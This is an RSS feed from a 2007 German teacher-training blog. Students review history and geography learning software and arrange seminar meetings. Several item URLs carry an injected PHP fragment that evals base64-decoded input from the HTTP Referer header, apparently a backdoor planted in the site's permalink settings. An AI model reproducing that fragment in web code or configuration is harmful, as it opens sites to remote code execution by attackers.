			<content:encoded><![CDATA[<p>Ich m&#246;chte mich hiermit Yvonne anschlie&#223;en und ebenfalls eine pers&#246;nliche Bewertung f&#252;r die von uns vorgestellte Lernsoftware abgeben:</p>
<p>Ebenso wie Yvonne hat mir die Bibliothek sehr gut gefallen, da sie den Sch&#252;lern einen guten &#220;berblick &#252;ber die wichtigen Bereiche in der mittelalterlichen Stadt geben kann und so ein gezieltes Nachschlagen eines bestimmten Begriffes erm&#246;glicht wird. Mit dieser Funktion k&#246;nnte der Lehrer die Sch&#252;ler dazu anregen, sich genaue Informationen zu bestimmten Themen einzuholen. Sehr gut finde ich auch das weiterf&#252;hrende Literaturverzeichnis bzw. das Bildquellenverzeichnis, sodass sich interessierte Sch&#252;ler selbstst&#228;ndig weiter mit einem f&#252;r sie durch die Benutzung der Software interessant gewordenen Thema auseinandersetzen k&#246;nnen.</p>
<p>Ebenso finde ich die Aufmachung der Software f&#252;r Sch&#252;ler ab der siebten Klasse ansprechend, auch wenn die Software mit dem Erscheinungsjahr 1997 nicht mehr ganz die Neueste ist. Die Musik finde ich ebenfalls sch&#246;n, wem sie jedoch nach einer bestimmten Zeit zu anstrengend wird, der kann sie einfach ausschalten und ohne musikalische Begleitung weiter machen.</p>
<p>Schwierig finde ich das R&#228;tsel, da es selbst uns gemeinsam nicht gelungen ist, alles bis zum Ende zu l&#246;sen und wir doch einige Zeit brauchten, um weiter zu kommen. Dies k&#246;nnte bei Sch&#252;lern mit einer niedrigen Aufmerksamkeitsspanne schnell zu Frustration und Ern&#252;chterung f&#252;hren. Hinzu kommt, dass die Figuren des Spiels aufgrund ihrer geringen Gr&#246;&#223;e relativ schwer zu erkennen sind, was es schwierig macht, den Hinweisen des R&#228;tsels zu folgen und bestimmte Personen in der Masse (zum Beispiel auf dem Marktplatz) auszumachen.</p>
<p>Insgesamt gef&#228;llt mir die Software sehr gut und da ich selbst nicht das Fach Geschichte studiere, gef&#228;llt mir besonders, dass die Informationstexte einfach und verst&#228;ndlich gehalten sind und somit auch zu verstehen sind, wenn man selbst &#252;ber kein gro&#223;es Wissen &#252;ber die Stadt im Mittelalter verf&#252;gt. Dies ist f&#252;r Kinder ansprechend, da sie so alle Informationen leicht aufnehmen k&#246;nnen. Zudem sind die Beitr&#228;ge auch f&#252;r ansonsten weniger geschichtsinteressierte Menschen sehr interessant gestaltet und regen dazu an, sich weiter durch die Software zu klicken, um mehr Informationen zu bekommen.</p>
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		<title>Pers&#246;nliche Bewertung der  Lernsoftware &#8220;Die Stadt im Mittelalter&#8221;</title>
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		<pubDate>Wed, 13 Jun 2007 08:36:09 +0000</pubDate>
		<dc:creator>yjordan</dc:creator>
				<category><![CDATA[Meinungen]]></category>

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		<description><![CDATA[Die Stadt im Mittelalter – Alltagsleben hinter Turm und Mauern Nachdem wir die Lernsoftware am 07.06.07 vorgestellt hatten und die Auswahl an Lernsoftware f&#252;r den Geschichtsunterricht gesehen haben, m&#246;chte ich noch pers&#246;nlich was zu der von uns vorgestellten Software sagen. Mir gefiel an der Software besonders die Bibliothek mit den vielen B&#252;chern, in denen die [...]]]></description>
			<content:encoded><![CDATA[<p>Die Stadt im Mittelalter – Alltagsleben hinter Turm und Mauern</p>
<p>Nachdem wir die Lernsoftware am 07.06.07 vorgestellt hatten und die Auswahl an Lernsoftware f&#252;r den Geschichtsunterricht gesehen haben, m&#246;chte ich noch pers&#246;nlich was zu der von uns vorgestellten Software sagen.</p>
<p>Mir gefiel an der Software besonders die Bibliothek mit den vielen B&#252;chern, in denen die Sch&#252;ler nach Informationen suchen k&#246;nnen oder sich &#252;ber weiterf&#252;hrende Literatur informieren k&#246;nnen. Das ins Spiel integrierte R&#228;tsel, ist nur zu l&#246;sen, wenn man sich in einer mittelalterlichen Stadt gut auskennt und wir mussten immer wieder auf die B&#252;chern in der Bibliothek zur&#252;ckgreifen um weiter zu kommen. Die Sch&#252;ler k&#246;nnen so die wissenschaftliche Vorgehensweise erlernen, indem sie sich bei Fragen an die B&#252;cher wenden. Dies hat mir sehr gut gefallen. </p>
<p>Allerdings ist diese Software eher ein multimediales Nachschlagewerk, als eine Lernsoftware. Dennoch sind die Informationen und die dazu ausgearbeiteten Arbeitsbl&#228;tter f&#252;r den Einsatz im Unterricht sehr gut geeignet.</p>
]]></content:encoded>
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		</item>
		<item>
		<title>Lernsoftware &#8220;Die Stadt im Mittelalter&#8221;</title>
		<link>http://www.didactalab.de/teachlab/2007/06/12/lernsoftware-die-stadt-im-mittelalter/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/</link>
		<comments>http://www.didactalab.de/teachlab/2007/06/12/lernsoftware-die-stadt-im-mittelalter/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/#comments</comments>
		<pubDate>Tue, 12 Jun 2007 20:46:59 +0000</pubDate>
		<dc:creator>janinawiens</dc:creator>
				<category><![CDATA[Allgemein]]></category>

		<guid isPermaLink="false">http://www.didactalab.de/teachlab/?p=269</guid>
		<description><![CDATA[Referat vom 07.06.07 von Yvonne Jordan, Silke B&#252;scher, Meike B&#252;scher, Wiebke Gebbert, Janina Wiens  Lernsoftware Beurteilungs &#8211; Bogen Die Stadt im Mittelalter – Alltagsleben hinter Turm und Mauern Herstellung: &#8216;Freies Historiker B&#252;ro&#8217; in Zusammenarbeit mit &#8216;Micro Media Arts&#8217; Bezugsadresse: Verlag Sauerl&#228;nder GmbH Inhalt und Lernziele Themen: Alltagsleben in der mittelalterlichen Stadt Lernziele: Die Nutzer sollen [...]]]></description>
			<content:encoded><![CDATA[<h6><font size="3" face="Arial">Referat vom 07.06.07 von Yvonne Jordan, Silke B&#252;scher, Meike B&#252;scher, Wiebke Gebbert, Janina Wiens </font></h6>
<h6></h6>
<h6></h6>
<h6><font size="3" face="Arial">Lernsoftware Beurteilungs &#8211; Bogen</font></h6>
<p><strong><em><font size="5" face="Arial">Die Stadt im Mittelalter – Alltagsleben hinter Turm und Mauern</font></em></strong></p>
<h1><font size="3">Herstellung: &#8216;Freies Historiker B&#252;ro&#8217; in Zusammenarbeit mit &#8216;Micro </font><a href="http://www.ciao.de/Anwendungen_533539_2-koch_media_deutschland_gmbh"><font size="3">Media</font></a><font size="3"> Arts&#8217;</font></h1>
<h1><font size="3">Bezugsadresse: Verlag Sauerl&#228;nder GmbH</font></h1>
<h2><font size="3"><u></u></font></h2>
<h2><u><font size="3">Inhalt und Lernziele</font></u></h2>
<p><strong>Themen</strong>: Alltagsleben in der mittelalterlichen Stadt</p>
<p><strong>Lernziele</strong>: Die Nutzer sollen &#252;ber das Zusammenleben der Menschen in einer mittelalterlichen Stadt informiert werden.</p>
<p><strong>F&#228;cher</strong>: Geschichte</p>
<p><strong>Klassenstufe</strong>: keine Angaben, sch&#228;tzungsweise ab Klasse 7</p>
<p><strong>Schwierigkeitsgrad</strong>: mittel (Die Texte sind gut verst&#228;ndlich, das R&#228;tsel ist sehr anspruchsvoll)</p>
<p><strong>Bewertung</strong><strong>:  </strong><strong>*</strong><strong> </strong><strong>*</strong><strong> </strong><strong>*</strong>-          <em>authentische Bildquellen</em><em>, keine Internetquellen, </em><em>Texte sind zielgruppengerecht</em><em>, </em><em>R&#228;tsel sehr anspruchsvoll, </em><em>kein anpassbares Niveau, </em><em>keine Diagnostik der Lernvoraussetzungen, </em><em>keine Angabe der notwendigen Vorkenntnisse, v</em><em>ertiefte Auseinandersetzung ist mit Hilfe des Bildquellen- und Literaturverzeichnisses m&#246;glich, d</em><em>ie thematische Breite ist ausreichend (Sozial-, Gender- und Wirtschaftsgeschichte).</em></p>
<p><u><font size="3"><strong>P&#228;dagogische Eignung</strong></font></u></p>
<p><strong>Nutzung</strong>: alleine (Texte), zu zweit (R&#228;tsel), keine Multiplayerfunktion</p>
<p><strong>Einsatz</strong>: Erarbeitungsphase (Texte), Vertiefung (R&#228;tsel)</p>
<p><strong>Minimale sinnvolle Spielzeit</strong>: mind. 1 Schulstunde</p>
<p><strong>Bewertung</strong><strong>: </strong><strong>*</strong><strong> </strong><strong>* </strong><em>eher keine F&#246;rderung der Selbstlernkompetenz, </em><em>entspricht dem Lehrplan, f&#228;cher&#252;bergreifender Unterricht m&#246;glich, </em><em>keine Unterst&#252;tzung beim &#220;ben, </em><em>keine Extraaufgaben f&#252;r Leistungsschwache /-starke, </em><em>im Unterricht einsetzbar und zu Hause einsetzbar, </em><em>L&#246;sungs- und Aufgabenheft verf&#252;gbar</em><em> </em></p>
<h4><u><font face="Arial">Didaktik</font></u></h4>
<p><strong>Interaktionsm&#246;glichkeiten</strong>: wenige</p>
<p><strong>Ansatz</strong>: vermittelnd und erkundend</p>
<h5><font size="3" face="Arial">Bewertung: </font>*<font face="Arial"> </font>*<font face="Arial"> </font>*<font face="Arial"> (</font>*<font face="Arial">)</font></h5>
<p>-vermittlungsorientiert, weniger handlungsorientiert, Altersangemessenheit wegen fehlender Altersangaben nicht zu beurteilen, verschiedene Darstellungsformen (Schrift, Bilder, Musik), multiple Perspektiven, Anschaulichkeit gegeben, Transferaufgabe (R&#228;tsel), kein Lernen als Konstruieren, verschiedene Lerntypen werden angesprochen (Visuelle und Auditive), keine hohe Interaktivit&#228;t, vernetztes Denken und das L&#246;sen komplexer Probleme wird nur im Rahmen des R&#228;tsels gefordert. </p>
<h4><u><font face="Arial">Lernerfolge r&#252;ckmelden</font></u></h4>
<p><strong>R&#252;ckmeldungen</strong>: keine </p>
<p><strong>Bewertung: </strong><strong>-</strong></p>
<h3><font size="3"><em> </em><em>keine Selbsttests/Abfrage von behandeltem Stoff</em></font></h3>
<p>-          <em>keine Anpassung der Abfragen an den Lernerfolg, </em> e<em>s k&#246;nnen zwar Fehler gemacht werden, dann stockt jedoch das Spiel, da es nur einen richtigen L&#246;sungsweg gibt, </em><em>Fehler werden nicht erkannt, </em><em>kein konstruktiver Umgang mit Fehlern, </em><em>keine qualifizierte R&#252;ckmeldungen, </em><em>keine verschiedene L&#246;sungsm&#246;glichkeiten, </em><em>Visualisierung des Lernerfolgs (Verlaufschart, History) ist nicht bekannt, </em><em>kein Lernjournal, </em><em>kein Highscores / Leveling / Belohnungen</em><em> </em></p>
<h2><u><font size="3">Spa&#223; &amp; Gestaltung</font></u></h2>
<p><strong>Bewertung: </strong><strong>*</strong>-<em>keine verschiedene Schwierigkeitsstufen und Spieleinstellungen</em>-          <em>Interessenf&#246;rdernd, </em><em>eher nicht Flow f&#246;rdernd, </em><em>einfache Handhabung, </em><em>kein langfristiger Spielspa&#223; (Replay-Value?),</em> <em>ansprechende Grafik und themenorientierter Sound (mittelalterliche Musik), </em><em>keine Gegenspieler (Online, Mehrspieler, Computer), </em><em>Stabilit&#228;t der Software (Abst&#252;rze) nicht bekannt, </em><em>kleine Etappen, </em><em>Speicherm&#246;glichkeiten nicht bekannt, </em><em>Der Schwierigkeitsgrad des R&#228;tsels k&#246;nnte &#252;berfordern, </em><em>Ber&#252;cksichtigung von Forschungsergebnissen zur Gestaltung von multimedialen Lerninhalten (Dual coding / Cognitive Load) ist nicht bekannt, </em><em>Keine professionelle Gestaltung auf dem Niveau von Videospielen.</em><em> </em></p>
<h2><u><font size="3">Ausstattung/Handhabung</font></u></h2>
<p>Auch auf alten Rechner spielbar? Konzipiert f&#252;r Windows 3.1, der Sound ist nicht unbedingt notwendig. </p>
<h2><u><font size="3">Preis-Leistung</font></u></h2>
<p>Kosten: 19,95 € (Quelle: amazon.de), Klassenlizenz/Schul<strong>lizenz: nicht bekannt, </strong>keine Programmerweiterungen (Addons) verf&#252;gbar, keine Updates m&#246;glich</p>
]]></content:encoded>
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		</item>
		<item>
		<title>Sim City 3000 und Goggle Earth; Inhalte und Lernziele</title>
		<link>http://www.didactalab.de/teachlab/2007/06/11/sim-city-3000-und-goggle-earth-inhalte-und-lernziele/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/</link>
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		<pubDate>Mon, 11 Jun 2007 14:35:35 +0000</pubDate>
		<dc:creator>sebastian</dc:creator>
				<category><![CDATA[Allgemein]]></category>

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		<description><![CDATA[SimCity 3000 ist eine Wirtschaftssimulation, in der der Sch&#252;ler/Spieler als B&#252;rgermeister einer virtuellen Stadt die Planung und Verwaltung ebendieser &#252;bernimmt. Hierzu werden Landschaften simuliert, in denen dann eine neue Stadt gegr&#252;ndet werden soll. Hierzu werden Bebauungsfl&#228;chen, die in Wohn-, Gewerbe-, Industrie- und Agrarfl&#228;chen unterteilt sind, erschlossen, die mit der notwendigen Infrastruktur (Stra&#223;en, Strom, Wasser, M&#252;llver- [...]]]></description>
			<content:encoded><![CDATA[<p><strong>SimCity 3000</strong> ist eine Wirtschaftssimulation, in der der Sch&#252;ler/Spieler als B&#252;rgermeister einer virtuellen Stadt die Planung und Verwaltung ebendieser &#252;bernimmt. Hierzu werden Landschaften simuliert, in denen dann eine neue Stadt gegr&#252;ndet werden soll. Hierzu werden Bebauungsfl&#228;chen, die in Wohn-, Gewerbe-, Industrie- und Agrarfl&#228;chen unterteilt sind, erschlossen, die mit der notwendigen Infrastruktur (Stra&#223;en, Strom, Wasser, M&#252;llver- und Entsorgung, usw. )versehen sind. Die Anzahl der B&#252;rger und damit auch die Menge des vorhandenen Geldes( h&#228;ngt von den Steuern und den Erlassen ab) ist ein Indiz f&#252;r die Funktion der Stadt. Dies ist weiterhin von verschiedenen Faktoren wie Bildung, Umweltbelastung, Anzahl der Erholungsgebiete und &#246;ffentliche Sicherheit abh&#228;ngig. Es k&#246;nnen St&#228;dte zu verschiedenen Jahreszeiten begonnen werden.</p>
<p><strong>Google Earth</strong> ist eine in der Grundform unentgeltliche Software zur Darstellung eines virtuellen Globus. Sie kann Satelliten- und Luftbilder unterschiedlicher Aufl&#246;sung mit Geodaten &#252;berlagern und auf einem digitalen H&#246;henmodell der Erde darstellen. Neben der einfachen Navigation auf dem Globus wurden eine Suchfunktion und ein Messwerkzeug integriert. &#220;ber ein Auswahlmen&#252; k&#246;nnen die unterschiedlichsten Kartenschichten ein- und ausgeblendet werden. Weiterhin k&#246;nnen eigene Punktkoordinaten abgespeichert werden.</p>
<p>Beide Programme sind prim&#228;r f&#252;r das Fach Geographie geeignet, k&#246;nnen aber unter besonderen Umst&#228;nden auch von anderen F&#228;chern wie beispielsweise Geschichte oder Mathematik genutzt werden. </p>
<p>Als Lernziel f&#252;r Geographie schreiben die <a href="http://www.lehrplan.bremen.de/sek2a/aufgabenfeld2/geographie/rahmenplan"><font color="#800080">Rahmenrichtlinien</font></a>  in der Hansestadt Bremen unter anderem die Raumentwicklung und die Raumorientierung vor. Beides ist mit den Programmen zu verbinden. </p>
<p>W&#228;hrend Google Earth unabh&#228;ngig von der Klassenstufe eingesetzt werden kann, ist dies bei Sim City 3000 der Oberstufe vorbehalten, denn erst dort sieht der Lehrplan (s.o.) den Bereich Stadtentwicklung vor. </p>
<p>Google Earth ist ein sehr aktuelles Programm, welches permanent &#8220;geupdated&#8221; wird und haupts&#228;chlich mit Bildern aus dem Jahre 2002 arbeitet. SimCity dagegen ist schon etwas &#228;lter, die erste Version von 1989, eine aktuelle (Sim City 4) soll demn&#228;chst auf dem Markt erscheinen.</p>
<p>Die Bedienung beider Programme ist schnell zu erlernen, und kann bei SimCity entsprechend angepasst werden, wobei dann der Realit&#228;tsbezug noch mehr verloren geht. Insgesamt ist das Niveau nicht zu hoch, so dass die Programme in der Schule eingesetzt werden k&#246;nnen. Dabei ist es relativ egal ob sie mit Vorkenntnissen (z.B. in der Stadtentwicklung) eingesetzt werden oder als Mittel f&#252;r eine erste Konfrontation mit dem jeweiligen Thema genutzt werden.</p>
<p><font face="Times New Roman"> </font><strong><em>Bewertung:</em>   *****</strong></p>
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		</item>
		<item>
		<title>SimCity3000 &#8211; didaktisch betrachtet</title>
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		<pubDate>Sun, 10 Jun 2007 10:31:05 +0000</pubDate>
		<dc:creator>tasja</dc:creator>
				<category><![CDATA[Allgemein]]></category>

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		<description><![CDATA[Das &#8220;Spiel&#8221; SimCity3000 bietet viele Interaktionsm&#246;glichkeiten und ist konstruierend ausgelegt. Der Benutzer muss sehr handlungsorientiert agieren, um aus der anschaulichen Benutzeroberfl&#228;che eine Stadt nach seinen W&#252;nschen zu unterrichten. SimCity3000 spricht vor Allem visuelle und kreative Lerntypen an. Vor diesem Hintergrund wird eine relativ hohe Interaktivit&#228;t gefordert. Eine Lehrperson kann die Benutzung des Spiels in sofern [...]]]></description>
			<content:encoded><![CDATA[<p>Das &#8220;Spiel&#8221; SimCity3000 bietet viele Interaktionsm&#246;glichkeiten und ist konstruierend ausgelegt. Der Benutzer muss sehr handlungsorientiert agieren, um aus der anschaulichen Benutzeroberfl&#228;che eine Stadt nach seinen W&#252;nschen zu unterrichten.</p>
<p>SimCity3000 spricht vor Allem visuelle und kreative Lerntypen an. Vor diesem Hintergrund wird eine relativ hohe Interaktivit&#228;t gefordert.</p>
<p>Eine Lehrperson kann die Benutzung des Spiels in sofern leiten, als dass komplexe Problemstellungen vorgegeben werden, die gel&#246;st werden sollen. Das Spiel an sich stellt komplexe Anforderungen in Form von B&#252;rgern, die st&#228;ndig durch zu erf&#252;llende Forderungen zufrieden gesellt werden m&#246;chten.</p>
<p>Das Spiel erlaubt den privaten Gebrauch zum Spa&#223; haben aber ebenso, wie den Einsatz als Lernsoftware.</p>
<p>Fazit: *** (drei Sterne) f&#252;r das didaktische Konzept.</p>
]]></content:encoded>
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		<title>Handout zur Lernsoftware &#8220;Von St&#228;dten und B&#252;rgern&#8221;</title>
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		<pubDate>Wed, 06 Jun 2007 22:28:21 +0000</pubDate>
		<dc:creator>sylviar</dc:creator>
				<category><![CDATA[Allgemein]]></category>

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		<description><![CDATA[Wer Interesse an einer Lernsoftware f&#252;r den Geschichtsunterricht hat, der kann mal einen Blick hier rein werfen. Die Vorstellung der Software erfolgt am 07.06.07 in der Veranstaltung. Referenten: Sylvia Rothgeber, Katharina Krabbe und Robin Klatte Lernsoftware Geschichte Titel : Von St&#228;dten und B&#252;rgern              -         Erscheinungsdatum: April 2004 -         Preis bel&#228;uft sich auf 29,95 Euro -         [...]]]></description>
			<content:encoded><![CDATA[<p><font face="Times New Roman"><strong>Wer Interesse an einer Lernsoftware f&#252;r den Geschichtsunterricht hat, der kann mal einen Blick hier rein werfen. Die Vorstellung der Software erfolgt am 07.06.07 in der Veranstaltung.</strong></font></p>
<p><font face="Times New Roman">Referenten: Sylvia Rothgeber, Katharina Krabbe und Robin Klatte</font></p>
<p><font face="Times New Roman">Lernsoftware Geschichte</font></p>
<p><font face="Times New Roman">Titel : Von St&#228;dten und B&#252;rgern              <img width="99" src="http://sondengaenger.ath.cx/assets/images/3806218536.jpg" height="140" /></font></p>
<p><font face="Times New Roman">-         Erscheinungsdatum: April 2004</font></p>
<p><font face="Times New Roman">-         Preis bel&#228;uft sich auf 29,95 Euro</font></p>
<p><font face="Times New Roman">-         Aus der Reihe Lebendiges Mittelalter, Theiss Verlag</font></p>
<p><font face="Times New Roman">-         Systemanforderungen PC: Pentium II 200 MHz., 64 MB verf&#252;gbares RAM, Grafikkarte 16 Bit Farbtiefe bei 800*600 Pixel, CD-ROM Laufwerk, Soundkarte und Lautsprecher, Windows 95, 98, ME, 2000, XP</font></p>
<p><font face="Times New Roman">-         Macintosh: G3 PowerPC, 64 MB verf&#252;gbares RAM, Grafikkarte 16 Bit Farbtiefe bei 800*600 Pixel, CD-ROM Laufwerk, Soundkarte und Lautsprecher, MacOS 8.5 oder h&#246;her</font></p>
<p><font face="Times New Roman">-         Schnelle Installation (ca. 2 min.)</font></p>
<p><font face="Times New Roman">-         Programm l&#228;uft nach der Installation ohne CD-ROM</font></p>
<p><font face="Times New Roman">-         Reihe wird neun Titel umfassen, sowie eine Internetseite, bei der man Materialien zum Unterricht downloaden kann (</font><a href="http://www.lebendiges-mittelalter.com/"><font face="Times New Roman">www.lebendiges-mittelalter.com</font></a><font face="Times New Roman">)</font></p>
<p><font face="Times New Roman">-        Die permanent sichtbare Men&#252;leiste besitzt vier Bedienbuttons: </font><font face="Times New Roman">  </font></p>
<p><font face="Times New Roman"></p>
<ol>
<li>Option: Hier kann die Lautst&#228;rke eingestellt werden und das Programm beendet werden</li>
<li>Themen: Hier gelangt man zum Auswahlmen&#252; der zehn Panoramabilder</li>
<li>Zur&#252;ck: Hiermit gelangt man auf schnelle und einfache Weise im Programm einen Schritt zur&#252;ck</li>
<li>Kathedrale: Dieser Button wirft einen Blick auf die geplanten Fortsetzungen des Programms</li>
</ol>
<p></font><font face="Times New Roman">-        Jedes Panoramabild verf&#252;gt &#252;ber dieselbe Cursorsteuerung, die sehr einfach zu bedienen ist: Sobald man mit dem Cursor &#252;ber das Panorama wandert, ver&#228;ndert sich der Cursor in vielen Bereichen. </font></p>
<p><font face="Times New Roman">-         Die unterschiedlichen Cursorsymbole signalisieren die verschiedenen Informationen:</font></p>
<p><font face="Times New Roman"></p>
<ol>
<li>Fragezeichen: Bei Klick erweitert sich die Men&#252;leiste und zwei Fragen erscheinen. Wenn man mit dem Cursor auf eine der Fragen klickt, erscheint in einem Fenster sofort eine Antwort.</li>
<li>i-Zeichen: Bei Klick erscheint an der jeweiligen Stelle ein Fenster mit Informationen zu der dargestellten Szene.</li>
<li>Lupe: Hiermit kann man an verschiedene Szenen n&#228;her herantreten.</li>
</ol>
<p>-         10 Panoramabilder stehen zur Verf&#252;gung: Die Handwerkergasse am Fluss, Beim Lohgerber, Markttag: bei der Stadtwaage, Markttag: am Pranger, Die Gark&#252;che, Vor dem Stadttor, Am Kirchportal, Feuer in der Stadt: auf dem Wachturm, Feuer in der Stadt: am Brandort, Blick in ein Handwerkerhaus</p>
<p></font></p>
]]></content:encoded>
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		</item>
		<item>
		<title>Chemikus</title>
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		<pubDate>Wed, 06 Jun 2007 16:29:54 +0000</pubDate>
		<dc:creator>Mareike W.</dc:creator>
				<category><![CDATA[Allgemein]]></category>

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		<description><![CDATA[Hallo Nils, da mein Kommentar zu deinem Post wahrscheinlich nicht schnell genug ver&#246;ffentlicht wird, versuche ich es noch einmal auf diesem Wege. Wir treffen uns heute (Mittwoch, 6.06) um 19:00 im Alex am Sch&#252;sselkorb. Wenn du mitmachen willst, komm einfach vorbei. LG, Mareike]]></description>
			<content:encoded><![CDATA[<p>Hallo Nils,</p>
<p>da mein Kommentar zu deinem Post wahrscheinlich nicht schnell genug ver&#246;ffentlicht wird, versuche ich es noch einmal auf diesem Wege. Wir treffen uns heute (Mittwoch, 6.06) um 19:00 im Alex am Sch&#252;sselkorb. Wenn du mitmachen willst, komm einfach vorbei.</p>
<p>LG, Mareike</p>
]]></content:encoded>
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		</item>
		<item>
		<title>CHEMIKUS Gruppe</title>
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		<pubDate>Wed, 06 Jun 2007 15:38:01 +0000</pubDate>
		<dc:creator>nils</dc:creator>
				<category><![CDATA[Allgemein]]></category>

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		<description><![CDATA[Hi Chemiker, in der Liste hab ich gesehen das ihr schon zu viert seid, trotzdem will Euch fragen ob ihr noch einen aufnehmt und ob wir dann noch eine andere Software testen? Vielleicht k&#246;nnen wir uns auch nachdem Seminar kurz treffen!? LG nils]]></description>
			<content:encoded><![CDATA[<p>Hi Chemiker,</p>
<p>in der Liste hab ich gesehen das ihr schon zu viert seid, trotzdem will Euch fragen ob ihr noch einen aufnehmt und ob wir dann noch eine andere Software testen? Vielleicht k&#246;nnen wir uns auch nachdem Seminar kurz treffen!?</p>
<p>LG nils</p>
]]></content:encoded>
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		</item>
		<item>
		<title>Suche noch eine Gruppe</title>
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		<pubDate>Fri, 01 Jun 2007 10:14:56 +0000</pubDate>
		<dc:creator>elrincon</dc:creator>
				<category><![CDATA[Allgemein]]></category>

		<guid isPermaLink="false">http://www.didactalab.de/teachlab/?p=261</guid>
		<description><![CDATA[Gibt es gar keine Biologen??? Ich war in der vergangenen Sitzung nicht anwesend und bin noch keiner Gruppe zugeordnet. Falls es noch Interessenten f&#252;r den Bereich Biologie gibt, dann bitte melden!!! Ich habe als Vorschlag f&#252;r eine Lernsoftware den &#8220;Genomic-Explorer&#8221;, den man sich kostenfrei aus dem Netz herunterladen kann. Infos zum Programm gibts hier: http://www.dhgp.de/deutsch/medien/publication/ge_explorer.html]]></description>
			<content:encoded><![CDATA[<p>Gibt es gar keine Biologen???</p>
<p>Ich war in der vergangenen Sitzung nicht anwesend und bin noch keiner Gruppe zugeordnet.</p>
<p>Falls es noch Interessenten f&#252;r den Bereich Biologie gibt, dann bitte melden!!!</p>
<p>Ich habe als Vorschlag f&#252;r eine Lernsoftware den &#8220;Genomic-Explorer&#8221;, den man sich</p>
<p>kostenfrei aus dem Netz herunterladen kann.</p>
<p>Infos zum Programm gibts hier: <a href="http://www.dhgp.de/deutsch/medien/publication/ge_explorer.html">http://www.dhgp.de/deutsch/medien/publication/ge_explorer.html</a></p>
]]></content:encoded>
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		</item>
		<item>
		<title>Englisch Referatsgruppe &#8211; Treffen?!?</title>
		<link>http://www.didactalab.de/teachlab/2007/05/31/englisch-referatsgruppe-treffen/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/</link>
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		<pubDate>Thu, 31 May 2007 16:57:26 +0000</pubDate>
		<dc:creator>ovoigt</dc:creator>
				<category><![CDATA[Allgemein]]></category>

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		<description><![CDATA[Hallo Leute, ein Aufruf f&#252;r ein erstes Treffen unserer Gruppe zur Aufteilung und weiteren Planung. N&#228;chste Woche nach dem Seminar? Kommunikation hier, email, StudiVz ? Gr&#252;&#223;e Oliver]]></description>
			<content:encoded><![CDATA[<p>Hallo Leute,</p>
<p>ein <strong>Aufruf</strong> f&#252;r ein erstes Treffen unserer Gruppe zur Aufteilung und weiteren Planung.</p>
<p>N&#228;chste Woche nach dem Seminar? Kommunikation hier, email, StudiVz ?</p>
<p>Gr&#252;&#223;e</p>
<p>Oliver</p>
]]></content:encoded>
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		</item>
		<item>
		<title>Komm! und bring Deine Eltern an die Uni!</title>
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		<pubDate>Thu, 31 May 2007 08:18:42 +0000</pubDate>
		<dc:creator>Karsten D. Wolf</dc:creator>
				<category><![CDATA[Allgemein]]></category>
		<category><![CDATA[wolf]]></category>

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		<description><![CDATA[F&#252;r Ihre Eltern: &#8220;Wissen Sie eigentlich, wo Ihre Tochter studiert? Haben Sie schon einmal einen Blick in die R&#228;ume geworfen, in denen Ihr Sohn vermutlich steckt? Haben Sie Kinder, die evtl. sp&#228;ter auch studieren werden? M&#246;chten Sie sich einmal einen Eindruck vom Forschungsalltag verschaffen? Sie sind eingeladen, die Uni zu besuchen. Denn wer selbst nicht [...]]]></description>
			<content:encoded><![CDATA[<p>F&#252;r Ihre Eltern:<br />
&#8220;Wissen Sie eigentlich, wo Ihre Tochter studiert? Haben Sie schon einmal einen Blick in die R&#228;ume geworfen, in denen Ihr Sohn vermutlich steckt? Haben Sie Kinder, die evtl. sp&#228;ter auch studieren werden? M&#246;chten Sie sich einmal einen Eindruck vom Forschungsalltag verschaffen? <img src='http://www.didactalab.de/teachlab/wp-content/uploads/2007/05/bild-1.png' alt='bild-1.png' / class="left"></p>
<p>Sie sind eingeladen, die Uni zu besuchen. Denn wer selbst nicht studiert, wird mit Forschung oft nur durch Medien konfrontiert. Deshalb tauchen Sie als Elternteil oder interessierter Erwachsener bei diesen Aktionen in die Lebenswelt der Studierenden und Forschenden ein, denn: »PISA f&#252;r Erwachsene« steht vor der T&#252;r, und zwar buchst&#228;blich.</p>
<p>Dabei wird das Thema »Testen« in dieser Veranstaltungsreihe auf informative und unterhaltsame Weise durchgespielt. F&#252;r intelligente Unterhaltung sorgen Performance, Kom&#246;die und Trend-Sport. Wer interessiert ist oder studierende Kinder hat, kann an einer Forschungssimulation »Lesekompetenz-Test« teilnehmen. Elterliche Ansichten, Test-Ergebnisse, Gef&#252;hle und Kritik werden mit Professoren und Studierenden aus den Bildungswissenschaften und der Psychologie besprochen.</p>
<p>Bei jeder Aktion gibt es Sammelpasspunkte. Ausgef&#252;llte Sammelp&#228;sse nehmen an der Gewinnaktion »Fofftein!« teil. Die P&#228;sse werden bei jeder Veranstaltung ausgegeben (solange der Vorrat reicht). Alle Veranstaltungen sind selbstverst&#228;ndlich kostenlos.</p>
<p>Herzliche Gr&#252;&#223;e</p>
<p>Ihre</p>
<p>Studierenden, Juniorprofessor/innen und Professor/innen&#8221;</p>
<p><strong>Programm</strong><br />
12:00 – 12:30 Eintreffen der G&#228;ste im Foyer („Glaskasten“) und Begleitung zum Raum B 3009 durch die Studierenden, Empfang bei Orangensaft und Sekt (und hoffentlich Sonnenschein)</p>
<p>12:30 – 13:00 Er&#246;ffnung: Deutsche Bildungsforschung wie in Amerika?<br />
(Prof. Dr. Anke Grotl&#252;schen, Juniorprofessur f&#252;r Lebenslanges Lernen)</p>
<p>13:00 – 13:30 Soll es PISA auch f&#252;r Erwachsene geben?<br />
Diskussion in Gruppen mit je einem Teammitglied des Projekts</p>
<p>13:30 &#8211; 14:30 Mensabesuch (oder: Warum Ihre Kinder so gern bei Ihnen zu Hause essen). Rundgang: Bibliothek, Keksdose und die Fahrradfahrer</p>
<p>14:30 – 15:00 Videoclip mit Schauspielern der Shakespeare Company:<br />
„Viel L&#228;rm um nichts –<br />
Ein Interviewer zwischen Schwachhausen und Walle“</p>
<p>15:00 – 15:30 Darf ein Forscher an Ihrer T&#252;r klingeln? Ihre Meinung ist gefragt<br />
(Moderation: Prof. Dr. Michael Gessler, Juniorprofessur f&#252;r Berufliche Bildung und Berufliche Weiterbildung)</p>
<p>15:30 – 16:00 Pause (Cafeteria)</p>
<p>16:00 – 17:00 Simulation eines PISA-Erwachsenentests<br />
(Testleitung: Prof. Dr. Malte Mienert, Juniorprofessur f&#252;r Entwicklungspsychologie)</p>
